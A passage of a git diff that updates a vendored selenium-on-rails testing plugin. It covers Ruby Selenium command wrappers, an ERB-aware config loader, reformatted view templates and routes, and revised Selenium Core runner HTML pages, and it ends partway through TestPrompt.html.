+  # dynamic UI widgets (like auto-completing combo boxes) that require explicit key events.
+  #
+  # Unlike the simple "type" command, which forces the specified value into the page directly,
+  # this command may or may not have any visible effect, even in cases where typing keys would
+  # normally have a visible effect. For example, if you use "<tt>type_keys</tt>" on a form
+  # element, you may or may not see the results of what you typed in the field.
+  #
+  # In some cases, you may need to use the simple "type" command to set the value of the field
+  # and then the "<tt>type_keys</tt>" command to send the keystroke events corresponding to
+  # what you just typed.
+  def type_keys locator, value
+    command 'typeKeys', locator, value
+  end
+  
+  # Gives focus to a window.
+  def window_focus window_name
+    command 'windowFocus', window_name
+  end
+  
+  # Resize window to take up the entire screen.
+  def window_maximize window_name
+    command 'windowMaximize', window_name
+  end
+  
+  # Writes a message to the status bar and adds a note to the browser-side log. 
+  #
+  # +context+ is the message sent to the browser.
+  #
+  # +log_level_threshold+ can be +nil+, <tt>:debug</tt>, <tt>:info</tt>, 
+  # <tt>:warn</tt> or <tt>:error</tt>.
+  def set_context context, log_level_threshold = nil
+    if log_level_threshold
+      command 'setContext', context, log_level_threshold.to_s
+    else
+      command 'setContext', context
+    end
+  end
+
+  # Runs the specified JavaScript snippet repeatedly until it evaluates to
+  # +true+. The snippet may have multiple lines, but only the result of the last
+  # line will be considered. 
+  # 
+  # Note that, by default, the snippet will be run in the runner's test window,
+  # not in the window of your application. To get the window of your
+  # application, you can use the JavaScript snippet
+  # <tt>selenium.browserbot.getCurrentWindow()</tt>, and then run your 
+  # JavaScript in there.
+  #
+  # +timeout+ is specified in milliseconds.
+  def wait_for_condition script, timeout
+    command 'waitForCondition', script, timeout
+  end
+
+  # Specifies the amount of time that Selenium will wait for actions to
+  # complete. 
+  #
+  # Actions that require waiting include +open+ and the <tt>wait_for*</tt>
+  # actions.
+  #
+  # The default timeout is 30 seconds. 
+  #
+  # +timeout+ is specified in milliseconds.
+  def set_timeout timeout
+    command 'setTimeout', timeout
+  end
+
+  # Waits for a new page to load. 
+  #
+  # You can use this command instead of the +and_wait+ suffixes,
+  # +click_and_wait+, +select_and_wait+, +type_and_wait+ etc. (which are only
+  # available in the JS API).
+  #
+  # Selenium constantly keeps track of new pages loading, and sets a
+  # +newPageLoaded+ flag when it first notices a page load. Running any other
+  # Selenium command after turns the flag to +false+. Hence, if you want to wait
+  # for a page to load, you must wait immediately after a Selenium command that
+  # caused a page-load.
+  #
+  # +timeout+ is specified in milliseconds.
+  def wait_for_page_to_load timeout
+    command 'waitForPageToLoad', timeout
+  end
+
+private
+  # Generates the corresponding +_and_wait+ for each action.
+  def self.generate_and_wait_actions
+    public_instance_methods.each do |method|
+      define_method method + '_and_wait' do |*args|
+        methods_array = method.split("_")
+        send 'command_and_wait', methods_array.first.downcase + methods_array[1..-1].collect{|part| part.camelize}.join, *args
+      end
+    end
+  end
+
+  generate_and_wait_actions
+end
+
diff --git a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails_config.rb b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails_config.rb
index 660c0610..1512fdc3 100644
--- a/vendor/plugins/selenium-on-rails/lib/selenium_on_rails_config.rb
+++ b/vendor/plugins/selenium-on-rails/lib/selenium_on_rails_config.rb
@@ -1,26 +1,30 @@
 require 'yaml'
+require 'erb'
 
 class SeleniumOnRailsConfig
-  attr_accessor :configs
-  
-  def initialize
-    @defaults = {:environments => ['test']}
-    initialize_configs
-  end
-  
-  def get var, default = nil
-    value = @configs[var.to_s]
-    value ||= @defaults[var]
+  @@defaults = {:environments => ['test']}
+  def self.get var, default = nil
+    value = configs[var.to_s]
+    value ||= @@defaults[var]
     value ||= default
     value ||= yield if block_given?
     value
   end
-  
-  def initialize_configs
-    @configs = {}
-    files = [File.expand_path(File.dirname(__FILE__) + '/../config.yml')]
-    files << File.join(RAILS_ROOT, 'config', 'selenium.yml')
-    files.each { |file| @configs = YAML.load_file(file) if File.exist?(file) }
-  end
 
-end
\ No newline at end of file
+  private
+    def self.configs
+      @@configs ||= nil
+      unless @@configs
+        files = [File.join(RAILS_ROOT, 'config', 'selenium.yml'), File.expand_path(File.dirname(__FILE__) + '/../config.yml')]
+        files.each do |file|
+          if File.exist?(file)
+            @@configs = YAML.load(ERB.new(IO.read(file)).result)
+            break
+          end
+        end
+        @@configs ||= {}
+      end
+      @@configs
+    end
+
+end
diff --git a/vendor/plugins/selenium-on-rails/lib/views/layouts/layout.rhtml b/vendor/plugins/selenium-on-rails/lib/views/layouts/layout.rhtml
index 84722786..16f827fd 100644
--- a/vendor/plugins/selenium-on-rails/lib/views/layouts/layout.rhtml
+++ b/vendor/plugins/selenium-on-rails/lib/views/layouts/layout.rhtml
@@ -1,18 +1,18 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html>
-<head>
-	<title>Selenium on Rails<%= defined?(@page_title) ? ": #{@page_title}" : '' %></title>
-</head>
-<style type="text/css">
-body, html { font-family: Verdana, Arial, sans-serif; }
-table { border-collapse: collapse; margin: 10px 0px; }
-td, th { border: 2px solid black; }
-#notice { text-align: center; color: darkgreen; background-color: lightgreen; padding: 5px 15px; width: 400px; margin-left: auto; margin-right: auto; }
-#notice * { text-align: left; }
-#usagedescription { margin: 15px 30px; }
-</style>
-<body>
-<%= @content_for_layout %>
-</body>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html>
+<head>
+	<title>Selenium on Rails<%= defined?(@page_title) ? ": #{@page_title}" : '' %></title>
+</head>
+<style type="text/css">
+body, html { font-family: Verdana, Arial, sans-serif; }
+table { border-collapse: collapse; margin: 10px 0px; }
+td, th { border: 2px solid black; }
+#notice { text-align: center; color: darkgreen; background-color: lightgreen; padding: 5px 15px; width: 400px; margin-left: auto; margin-right: auto; }
+#notice * { text-align: left; }
+#usagedescription { margin: 15px 30px; }
+</style>
+<body>
+<%= @content_for_layout %>
+</body>
 </html>
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/lib/views/record.rhtml b/vendor/plugins/selenium-on-rails/lib/views/record.rhtml
index a3ffa020..65687553 100644
--- a/vendor/plugins/selenium-on-rails/lib/views/record.rhtml
+++ b/vendor/plugins/selenium-on-rails/lib/views/record.rhtml
@@ -1,5 +1,5 @@
-<table>
-<% @result.each_pair do |key, value| -%>
-<tr><td><%=  key %></td><td><%= value %></td></tr>
-<% end -%>
-</table>
+<table>
+<% @result.each_pair do |key, value| -%>
+<tr><td><%=  key %></td><td><%= value %></td></tr>
+<% end -%>
+</table>
diff --git a/vendor/plugins/selenium-on-rails/lib/views/selenium_helper.rb b/vendor/plugins/selenium-on-rails/lib/views/selenium_helper.rb
index 76aa216e..4e178536 100644
--- a/vendor/plugins/selenium-on-rails/lib/views/selenium_helper.rb
+++ b/vendor/plugins/selenium-on-rails/lib/views/selenium_helper.rb
@@ -1,9 +1,9 @@
-module SeleniumHelper
-  include SeleniumOnRails::SuiteRenderer
-  include SeleniumOnRails::FixtureLoader
-
-  def test_case_name filename
-    File.basename(filename).sub(/\..*/,'').humanize
-  end
-
-end
+module SeleniumHelper
+  include SeleniumOnRails::SuiteRenderer
+  include SeleniumOnRails::FixtureLoader
+
+  def test_case_name filename
+    File.basename(filename).sub(/\..*/,'').humanize
+  end
+
+end
diff --git a/vendor/plugins/selenium-on-rails/lib/views/setup.rhtml b/vendor/plugins/selenium-on-rails/lib/views/setup.rhtml
index a67e67f9..4091124b 100644
--- a/vendor/plugins/selenium-on-rails/lib/views/setup.rhtml
+++ b/vendor/plugins/selenium-on-rails/lib/views/setup.rhtml
@@ -1,67 +1,67 @@
-<% @page_title = 'Setup' -%>
-<% if defined?(@session_wiped) or @cleared_tables.any? or @loaded_fixtures.any? -%>
-	<div id="notice">
-		<% if defined?(@session_wiped) -%>
-		<p>The session is wiped clean.</p>
-    <% end-%>
-		<% if @cleared_tables.any? -%>
-		<p>The following database tables are cleared:</p>
-			<ul>
-				<% for table in @cleared_tables -%>
-				<li><%= table %></li>
-				<% end-%>
-			</ul>
-		<% end -%>
-		<% if @loaded_fixtures.any? -%>
-		<p>The following fixtures are loaded:</p>
-			<ul>
-				<% for fixture in @loaded_fixtures -%>
-				<li><%= fixture %></li>
-				<% end-%>
-			</ul>
-		<% end -%>
-	</div>
-<% end -%>
-
-<div id="usagedescription">
-<p>This page can be used to setup your Selenium tests. The following options can be used:</p>
-<dl>
-	<dt><tt>keep_session</tt></dt>
-	<dd>
-		Per default the session is reset, so add <tt>keep_session</tt> in order to keep the current session.
-		<table>
-			<tr><td>open</td><td><%= url_for %>?keep_session</td><td>&nbsp;</td></tr>
-		</table>
-	</dd>
-	<dt><tt>fixtures</tt></dt>
-	<dd>
-    Loads one or many fixtures into the database. <strong>This will destroy the current data you have in your database!</strong> Use <tt>all</tt> as name in order to load all fixtures, or specify which fixtures that should be loaded (delimited by commas).<br />
-    If a test needs different data than you have in your fixtures, you can add another <em>fixture set</em>. A fixture set is just a sub directory in <tt>/test/fixtures/</tt> where you can add alternate fixtures (e.g. <tt>/test/fixtures/blank/users.yml</tt>).
-		<table>
-			<tr><td>open</td><td><%= url_for :fixtures => 'all' %></td><td>&nbsp;</td></tr>
-			<tr><td>open</td><td><%= url_for :fixtures => 'fixture' %></td><td>&nbsp;</td></tr>
-			<tr><td>open</td><td><%= url_for :fixtures => 'fixture_one' %>,fixture_two</td><td>&nbsp;</td></tr>
-		</table>
-    <b>Available fixtures</b><br />
-    <% fixtures = available_fixtures -%>
-    <% for fixture_set in fixtures.keys.sort -%>
-      In the <%= fixture_set.blank? ? 'default' : "<tt>#{fixture_set}</tt>" %> fixture set:
-	  	<ul>
-        <% fixtures[fixture_set].unshift fixture_set.blank? ? 'all' : "#{fixture_set}/all" -%>
-		    <% for fixture in fixtures[fixture_set] -%>
-          <li><tt><%= fixture %></tt></li>
-		    <% end -%>
-		  </ul>
-    <% end -%>
-	</dd>
-	<dt><tt>clear_tables</tt></dt>
-	<dd>
-    Clears one or many database tables. Another way to do the same thing is to create an empty fixture in a new fixture set (see <tt>fixtures</tt> above).
-		<table>
-			<tr><td>open</td><td><%= url_for :clear_tables => 'sessions' %></td><td>&nbsp;</td></tr>
-			<tr><td>open</td><td><%= url_for :clear_tables => 'sessions' %>,outgoing_messages</td><td>&nbsp;</td></tr>
-		</table>
-	</dd>
-</dl>
-
-</div>
+<% @page_title = 'Setup' -%>
+<% if defined?(@session_wiped) or @cleared_tables.any? or @loaded_fixtures.any? -%>
+	<div id="notice">
+		<% if defined?(@session_wiped) -%>
+		<p>The session is wiped clean.</p>
+    <% end-%>
+		<% if @cleared_tables.any? -%>
+		<p>The following database tables are cleared:</p>
+			<ul>
+				<% for table in @cleared_tables -%>
+				<li><%= table %></li>
+				<% end-%>
+			</ul>
+		<% end -%>
+		<% if @loaded_fixtures.any? -%>
+		<p>The following fixtures are loaded:</p>
+			<ul>
+				<% for fixture in @loaded_fixtures -%>
+				<li><%= fixture %></li>
+				<% end-%>
+			</ul>
+		<% end -%>
+	</div>
+<% end -%>
+
+<div id="usagedescription">
+<p>This page can be used to setup your Selenium tests. The following options can be used:</p>
+<dl>
+	<dt><tt>keep_session</tt></dt>
+	<dd>
+		Per default the session is reset, so add <tt>keep_session</tt> in order to keep the current session.
+		<table>
+			<tr><td>open</td><td><%= url_for %>?keep_session</td><td>&nbsp;</td></tr>
+		</table>
+	</dd>
+	<dt><tt>fixtures</tt></dt>
+	<dd>
+    Loads one or many fixtures into the database. <strong>This will destroy the current data you have in your database!</strong> Use <tt>all</tt> as name in order to load all fixtures, or specify which fixtures that should be loaded (delimited by commas).<br />
+    If a test needs different data than you have in your fixtures, you can add another <em>fixture set</em>. A fixture set is just a sub directory in <tt>/test/fixtures/</tt> where you can add alternate fixtures (e.g. <tt>/test/fixtures/blank/users.yml</tt>).
+		<table>
+			<tr><td>open</td><td><%= url_for :fixtures => 'all' %></td><td>&nbsp;</td></tr>
+			<tr><td>open</td><td><%= url_for :fixtures => 'fixture' %></td><td>&nbsp;</td></tr>
+			<tr><td>open</td><td><%= url_for :fixtures => 'fixture_one' %>,fixture_two</td><td>&nbsp;</td></tr>
+		</table>
+    <b>Available fixtures</b><br />
+    <% fixtures = available_fixtures -%>
+    <% for fixture_set in fixtures.keys.sort -%>
+      In the <%= fixture_set.blank? ? 'default' : "<tt>#{fixture_set}</tt>" %> fixture set:
+	  	<ul>
+        <% fixtures[fixture_set].unshift fixture_set.blank? ? 'all' : "#{fixture_set}/all" -%>
+		    <% for fixture in fixtures[fixture_set] -%>
+          <li><tt><%= fixture %></tt></li>
+		    <% end -%>
+		  </ul>
+    <% end -%>
+	</dd>
+	<dt><tt>clear_tables</tt></dt>
+	<dd>
+    Clears one or many database tables. Another way to do the same thing is to create an empty fixture in a new fixture set (see <tt>fixtures</tt> above).
+		<table>
+			<tr><td>open</td><td><%= url_for :clear_tables => 'sessions' %></td><td>&nbsp;</td></tr>
+			<tr><td>open</td><td><%= url_for :clear_tables => 'sessions' %>,outgoing_messages</td><td>&nbsp;</td></tr>
+		</table>
+	</dd>
+</dl>
+
+</div>
diff --git a/vendor/plugins/selenium-on-rails/lib/views/test_suite.rhtml b/vendor/plugins/selenium-on-rails/lib/views/test_suite.rhtml
index 2494a4ea..5973fc97 100644
--- a/vendor/plugins/selenium-on-rails/lib/views/test_suite.rhtml
+++ b/vendor/plugins/selenium-on-rails/lib/views/test_suite.rhtml
@@ -1,26 +1,26 @@
-<% @page_title = test_suite_name @suite_path -%>
+<% @page_title = test_suite_name @suite_path -%>
 <script type="text/javascript">
 <!--
-function openSuite(selector) {
-	var suite = selector.options[selector.selectedIndex].value;
-	if(suite == "header") return;
-	if(top.location.href != location.href) //inside a frame
-		top.location =  "<%= url_for :action => :support_file %>/TestRunner.html?test=tests" + suite
-	else
-		window.location = "<%= url_for :action => :test_file, :testname => '' %>" + suite
+function openSuite(selector) {
+	var suite = selector.options[selector.selectedIndex].value;
+	if(suite == "header") return;
+	if(top.location.href != location.href) //inside a frame
+		top.location =  "<%= url_for :action => :support_file %>/TestRunner.html?test=tests" + suite
+	else
+		window.location = "<%= url_for :action => :test_file, :testname => '' %>" + suite
 }
 //-->
-</script>
-<select onchange="openSuite(this)">
-	<option value="header">Suites:</option>
-<% for name, path in test_suites @suite_path -%>
-	<option value="<%= path %>"><%= name%></option>
-<% end -%>
-</select>
-
-<table>
-	<tr><th><%=  @page_title %></th></tr>
-<% for name, path in test_cases @suite_path -%>
-	<tr><td><%= link_to_test_case name, path %></td></tr>
-<% end -%>
+</script>
+<select onchange="openSuite(this)">
+	<option value="header">Suites:</option>
+<% for name, path in test_suites @suite_path -%>
+	<option value="<%= path %>"><%= name%></option>
+<% end -%>
+</select>
+
+<table>
+	<tr><th><%=  @page_title %></th></tr>
+<% for name, path in test_cases @suite_path -%>
+	<tr><td><%= link_to_test_case name, path %></td></tr>
+<% end -%>
 </table>
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/routes.rb b/vendor/plugins/selenium-on-rails/routes.rb
index 5472f2e0..9f3454d9 100644
--- a/vendor/plugins/selenium-on-rails/routes.rb
+++ b/vendor/plugins/selenium-on-rails/routes.rb
@@ -1,24 +1,24 @@
-module ActionController
-  module Routing #:nodoc:
-    class RouteSet #:nodoc:
-      alias_method :draw_without_selenium_routes, :draw
-      def draw
-        draw_without_selenium_routes do |map|
-          map.connect 'selenium/setup',
-            :controller => 'selenium', :action => 'setup'
-          map.connect 'selenium/tests/*testname',
-            :controller => 'selenium', :action => 'test_file'
-          map.connect 'selenium/postResults',
-            :controller => 'selenium', :action => 'record'
-          map.connect 'selenium/postResults/:logFile',
-            :controller => 'selenium', :action => 'record', :requirements => { :logFile => /.*/ }
-          map.connect 'selenium/*filename',
-            :controller => 'selenium', :action => 'support_file'
-          map.connect 'switch_environment',
-            :controller => 'switch_environment', :action => 'index'  
-          yield map if block_given?
-        end
-      end
-    end
-  end
-end
+module ActionController
+  module Routing #:nodoc:
+    class RouteSet #:nodoc:
+      alias_method :draw_without_selenium_routes, :draw
+      def draw
+        draw_without_selenium_routes do |map|
+          map.connect 'selenium/setup',
+            :controller => 'selenium', :action => 'setup'
+          map.connect 'selenium/tests/*testname',
+            :controller => 'selenium', :action => 'test_file'
+          map.connect 'selenium/postResults',
+            :controller => 'selenium', :action => 'record'
+          map.connect 'selenium/postResults/:logFile',
+            :controller => 'selenium', :action => 'record', :requirements => { :logFile => /.*/ }
+          map.connect 'selenium/*filename',
+            :controller => 'selenium', :action => 'support_file'
+          map.connect 'switch_environment',
+            :controller => 'switch_environment', :action => 'index'  
+          yield map if block_given?
+        end
+      end
+    end
+  end
+end
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/Blank.html b/vendor/plugins/selenium-on-rails/selenium-core/Blank.html
index 8bd0fb64..838f933b 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/Blank.html
+++ b/vendor/plugins/selenium-on-rails/selenium-core/Blank.html
@@ -1,8 +1,7 @@
-<html>
-    <head>
-        <meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">
-    </head>
-<body>
-    <h3>selenium-rc initial page</h3>
-</body>
-</html>
+<html>
+    <head>
+        <meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">
+    </head>
+<body>
+</body>
+</html>
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/InjectedRemoteRunner.html b/vendor/plugins/selenium-on-rails/selenium-core/InjectedRemoteRunner.html
index 8bd0fb64..cb4432c0 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/InjectedRemoteRunner.html
+++ b/vendor/plugins/selenium-on-rails/selenium-core/InjectedRemoteRunner.html
@@ -1,8 +1,8 @@
-<html>
-    <head>
-        <meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">
-    </head>
-<body>
-    <h3>selenium-rc initial page</h3>
-</body>
-</html>
+<html>
+    <head>
+        <meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">
+    </head>
+<body>
+    <h3>selenium-rc initial page</h3>
+</body>
+</html>
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/RemoteRunner.html b/vendor/plugins/selenium-on-rails/selenium-core/RemoteRunner.html
index 74d55579..da9f9771 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/RemoteRunner.html
+++ b/vendor/plugins/selenium-on-rails/selenium-core/RemoteRunner.html
@@ -19,12 +19,14 @@ Copyright 2004 ThoughtWorks, Inc
 <head>
 <meta content="text/html; charset=ISO-8859-1"
 http-equiv="content-type">
-<title>Selenium Functional Test Runner</title>
+<title>Selenium Remote Control</title>
 <link rel="stylesheet" type="text/css" href="selenium.css" />
-<script language="JavaScript" type="text/javascript" src="jsunit/app/jsUnitCore.js"></script>
 <script type="text/javascript" src="scripts/xmlextras.js"></script>
 <script language="JavaScript" type="text/javascript" src="lib/prototype.js"></script>
+<script language="JavaScript" type="text/javascript" src="lib/cssQuery/cssQuery-p.js"></script>
+<script language="JavaScript" type="text/javascript" src="lib/snapsie.js"></script>
 <script language="JavaScript" type="text/javascript" src="scripts/htmlutils.js"></script>
+<script language="JavaScript" type="text/javascript" src="scripts/ui-element.js"></script>
 <script language="JavaScript" type="text/javascript" src="scripts/selenium-browserdetect.js"></script>
 <script language="JavaScript" type="text/javascript" src="scripts/selenium-browserbot.js"></script>
 <script language="JavaScript" type="text/javascript" src="scripts/find_matching_child.js"></script>
@@ -34,13 +36,14 @@ http-equiv="content-type">
 <script language="JavaScript" type="text/javascript" src="scripts/selenium-remoterunner.js"></script>
 <script language="JavaScript" type="text/javascript" src="scripts/selenium-logging.js"></script>
 <script language="JavaScript" type="text/javascript" src="scripts/selenium-version.js"></script>
-<script language="JavaScript" type="text/javascript" src="xpath/misc.js"></script>
+<script language="JavaScript" type="text/javascript" src="xpath/util.js"></script>
+<script language="JavaScript" type="text/javascript" src="xpath/xmltoken.js"></script>
 <script language="JavaScript" type="text/javascript" src="xpath/dom.js"></script>
 <script language="JavaScript" type="text/javascript" src="xpath/xpath.js"></script>
 <script language="JavaScript" type="text/javascript" src="scripts/user-extensions.js"></script>
 <script language="JavaScript" type="text/javascript">
     function openDomViewer() {
-        var autFrame = document.getElementById('myiframe');
+        var autFrame = document.getElementById('selenium_myiframe');
         var autFrameDocument = getIframeDocument(autFrame);
         var domViewer = window.open(getDocumentBase(document) + 'domviewer/domviewer.html');
         domViewer.rootDocument = autFrameDocument;
@@ -58,29 +61,25 @@ http-equiv="content-type">
 
 <body onLoad="setTimeout(function(){runSeleniumTest();},1000)" onUnload="cleanUp()">
 
-<table border="1" style="height: 100%;">
+<table border="1" style="height: 100%; width: 100%;">               
   <tr>
-    <td width="50%" height="30%">
+    <td width="50%">
       <table>
       <tr>
-        <td>
-          <img src="selenium-logo.png">
-        </td>
-        <td>
-          <h1><a href="http://selenium.thoughtworks.com" >Selenium</a> Functional Testing for Web Apps</h1>
-          Open Source From <a href="http://www.thoughtworks.com">ThoughtWorks, Inc</a> and Friends
+        <td class="remoterunner">
+          <h4><a href="http://selenium.openqa.org">Selenium</a> Functional Testing for Web Apps</h4>
+          Open Source From <a href="http://selenium.openqa.org/thoughtworks-and-friends.html">ThoughtWorks and Friends</a>
           <form action="">
-          <br/>Slow Mode:<INPUT TYPE="CHECKBOX" NAME="FASTMODE" VALUE="YES" onmouseup="slowClicked()">
-
+          <br/>
+          <iframe id="seleniumLoggingFrame" name="seleniumLoggingFrame" src="Blank.html" style="border: 0; height: 0; width: 0; "></iframe>
           <fieldset>
-            <legend>Tools</legend>
-
             <button type="button" id="domViewer1" onclick="openDomViewer();">
               View DOM
             </button>
             <button type="button" onclick="LOG.show();">
               Show Log
             </button>
+            <label><INPUT TYPE="CHECKBOX" NAME="FASTMODE" VALUE="YES" onmouseup="slowClicked()"> Slow Mode</label>			
           </fieldset>
 
           </form>
@@ -92,14 +91,16 @@ http-equiv="content-type">
         <label id="context" name="context"></label>
       </form>
     </td>
-    <td width="50%" height="30%">
-      <b>Last Four Test Commands:</b><br/>
-      <div id="commandList"></div>
+    <td width="50%" class="remoterunner">
+      <h4>Command History:</h4>
+      <form name="commands">
+        <textarea style="overflow:auto; height:8em; width:100%" wrap="off" id="commandList"></textarea>
+      </form>
     </td>
   </tr>
     <tr>
-    <td colspan="2" height="70%">
-      <iframe name="myiframe" id="myiframe" src="" height="100%" width="100%"></iframe>
+    <td colspan="2" height="100%">
+      <iframe name="selenium_myiframe" id="selenium_myiframe" src="Blank.html" height="100%" width="100%"></iframe>
     </td>
   </tr>
 </table>
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/SeleniumLog.html b/vendor/plugins/selenium-on-rails/selenium-core/SeleniumLog.html
index dffa184f..2b55fe76 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/SeleniumLog.html
+++ b/vendor/plugins/selenium-on-rails/selenium-core/SeleniumLog.html
@@ -3,12 +3,43 @@
 <head>
 <title>Selenium Log Console</title>
 <link id="cssLink" rel="stylesheet" href="selenium.css" />
-
-</head>
-<body id="logging-console">
-
+<script src="scripts/htmlutils.js"></script>
 <script language="JavaScript">
 
+var disabled = true;
+
+function logOnLoad() {
+    var urlConfig = new URLConfiguration();
+    urlConfig.queryString = window.location.search.substr(1);
+    var startingThreshold = urlConfig._getQueryParameter("startingThreshold");
+    setThresholdLevel(startingThreshold);
+    var buttons = document.getElementsByTagName("input");
+    for (var i = 0; i < buttons.length; i++) {
+        addChangeListener(buttons[i]);
+    }
+}
+
+function enableButtons() {
+    var buttons = document.getElementsByTagName("input");
+    for (var i = 0; i < buttons.length; i++) {
+        buttons[i].disabled = false;
+        disabled = false;
+    }
+}
+
+function callBack() {}
+
+function changeHandler() {
+    callBack(getThresholdLevel());
+}
+
+function addChangeListener(element) {
+    if (window.addEventListener && !window.opera)
+        element.addEventListener("click", changeHandler, true);
+    else if (window.attachEvent)
+        element.attachEvent("onclick", changeHandler);
+}
+
 var logLevels = {
     debug: 0,
     info: 1,
@@ -53,16 +84,20 @@ function append(message, logLevel) {
 }
 
 </script>
+</head>
+<body id="logging-console" onload="logOnLoad();">
+
+
 
 <div id="banner">
   <form id="logLevelChooser">
-      <input id="level-error" type="radio" name="level" 
+      <input id="level-error" type="radio" name="level" disabled='true'
              value="error" /><label for="level-error">Error</label>
-      <input id="level-warn" type="radio" name="level"
+      <input id="level-warn" type="radio" name="level" disabled='true'
              value="warn" /><label for="level-warn">Warn</label>
-      <input id="level-info" type="radio" name="level"
+      <input id="level-info" type="radio" name="level" disabled='true'
              value="info" /><label for="level-info">Info</label>
-      <input id="level-debug" type="radio" name="level" checked="yes"
+      <input id="level-debug" type="radio" name="level" checked="yes" disabled='true'
              value="debug" /><label for="level-debug">Debug</label>
   </form>
   <h1>Selenium Log Console</h1>
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/TestPrompt.html b/vendor/plugins/selenium-on-rails/selenium-core/TestPrompt.html
index d9d53b91..db202930 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/TestPrompt.html
+++ b/vendor/plugins/selenium-on-rails/selenium-core/TestPrompt.html
@@ -1,123 +1,145 @@
-<html>
-<!--
-Copyright 2004 ThoughtWorks, Inc
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
-     http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<head>
-    <meta content="text/html; charset=ISO-8859-1"
-          http-equiv="content-type">
-    <title>Select a Test Suite</title>
-    <script language="JavaScript" type="text/javascript" src="scripts/selenium-browserdetect.js"></script>
-    <script>
-
-        function load() {
-            if (browserVersion.isHTA) {
-                document.getElementById("save-div").style.display = "inline";
-            }
-        }
-
-        function autoCheck() {
-            var auto = document.getElementById("auto");
-            var autoDiv = document.getElementById("auto-div");
-            if (auto.checked) {
-                autoDiv.style.display = "inline";
-            } else {
-                autoDiv.style.display = "none";
-            }
-        }
-
-        function saveCheck() {
-            var results = document.getElementById("results");
-            var check = document.getElementById("save").checked;
-            if (check) {
-                results.firstChild.nodeValue = "Results file ";
-                document.getElementById("resultsUrl").value = "results.html";
-            } else {
-                results.firstChild.nodeValue = "Results URL ";
-                document.getElementById("resultsUrl").value = "../postResults";
-            }
-        }
-
-        function go() {
-            if (!browserVersion.isHTA) return true;
-            var inputs = document.getElementsByTagName("input");
-            var queryString = "";
-            for (var i = 0; i < inputs.length; i++) {
-                var elem = inputs[i];
-                var name = elem.name;
-                var value = elem.value;
-                if (elem.type == "checkbox") {
-                    value = elem.checked;
-                }
-                queryString += escape(name) + "=" + escape(value);
-                if (i < (inputs.length - 1)) {
-                    queryString += "&";
-                }
-            }
-
-            window.parent.selenium = null;
-            window.parent.htmlTestRunner.controlPanel.queryString = queryString;
-            window.parent.htmlTestRunner.loadSuiteFrame();
-            return false;
-        }
-    </script>
-</head>
-
-<body onload="load()" style="font-size: x-small">
-<form id="prompt" target="_top" method="GET" onsubmit="return go();" action="TestRunner.html">
-
-    <p>
-        Test Suite:
-        <input id="test" name="test" size="30" value="../tests/TestSuite.html"/>
-    </p>
-
-    <p align="center"><input type="submit" value="Go"/></p>
-
-    <fieldset>
-        <legend>Options</legend>
-
-        <p>
-            <input id="multiWindow" type="checkbox" name="multiWindow" onclick="autoCheck();"/> <label
-                for="multiWindow">AUT in separate window</label>
-
-        <p>
-
-        <p>
-            <input id="auto" type="checkbox" name="auto" onclick="autoCheck();"/> <label for="auto">Run
-            automatically</label>
-        </p>
-
-        <div id="auto-div" style="display: none">
-            <p>
-                <input id="close" type="checkbox" name="close"/> <label for="close">Close afterwards </label>
-            </p>
-
-            <div id="save-div" style="display: none">
-                <br/><label for="save">Save to file </label><input id="save" type="checkbox" name="save"
-                                                                   onclick="saveCheck();"/>
-            </div>
-
-            <p id="results">
-                Results URL:
-                <input id="resultsUrl" name="resultsUrl" value="../postResults"/>
-            </p>
-
-        </div>
-    </fieldset>
-
-
-</form>
-</body>
+<html>
+<!--
+Copyright 2004 ThoughtWorks, Inc
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<head>
+    <meta content="text/html; charset=ISO-8859-1"
+          http-equiv="content-type">
+    <title>Select a Test Suite</title>
+    <script language="JavaScript" type="text/javascript" src="scripts/selenium-browserdetect.js"></script>
+    <script language="JavaScript" type="text/javascript" src="scripts/xmlextras.js"></script>
+    <script>
+
+        function load() {
+            if (browserVersion.isHTA) {
+                document.getElementById("save-div").style.display = "inline";
+            }
+            if (/thisIsSeleniumServer/.test(window.location.search)) {
+                document.getElementById("slowResources-div").style.display = "inline";
+                if (browserVersion.isHTA || browserVersion.isChrome) {
+                    document.getElementById("test").value = "http://localhost:4444/selenium-server/tests/TestSuite.html";
+                }
+            }
+        }
+
+        function autoCheck() {
+            var auto = document.getElementById("auto");
+            var autoDiv = document.getElementById("auto-div");
+            if (auto.checked) {
+                autoDiv.style.display = "inline";
+            } else {
+                autoDiv.style.display = "none";
+            }
+        }
+
+        function slowCheck() {
+            var slowResourcesCheckbox = document.getElementById("slowResources");
+            var slowResources = slowResourcesCheckbox.checked ? true : false;
